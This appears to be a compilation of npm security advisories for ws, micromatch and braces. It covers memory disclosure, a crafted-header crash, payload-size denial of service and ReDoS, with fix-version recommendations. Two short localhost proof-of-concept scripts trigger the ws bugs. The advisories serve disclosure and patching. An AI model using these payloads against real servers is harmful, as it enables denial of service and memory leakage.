Version Details and Security Vulnerabilities

Versions of ws prior to 1.0.1 are affected by a remote memory disclosure vulnerability.

In certain rare circumstances, applications which allow users to control the arguments of a client.ping() call will cause ws to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.

Proof of Concept

var ws = require('ws')

var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')

client.on('open', function () {
  console.log('open')
  client.ping(50) // this sends a non-zeroed buffer of 50 bytes

  client.on('pong', function (data) {
    console.log('got pong')
    console.log(data) // Data from the client. 
  })
})

Recommendation

Update to version 1.0.1 or greater.

Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.

Proof of concept

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Recommendation

Update to version 3.3.1 or later.

Affected versions of ws do not appropriately limit the size of incoming websocket payloads, which may result in a denial of service condition when the node process crashes after receiving a large payload.

Recommendation

Update to version 1.1.1 or later. Alternatively, set the maxpayload option for the ws server to a value smaller than 256MB.

The NPM package micromatch prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to https://github.com/micromatch/micromatch/pull/266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.

A vulnerability was found in Braces versions prior to 2.3.1. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.

Versions of braces prior to 2.3.1 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.

Recommendation

Upgrade to version 2.3.1 or higher.

The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.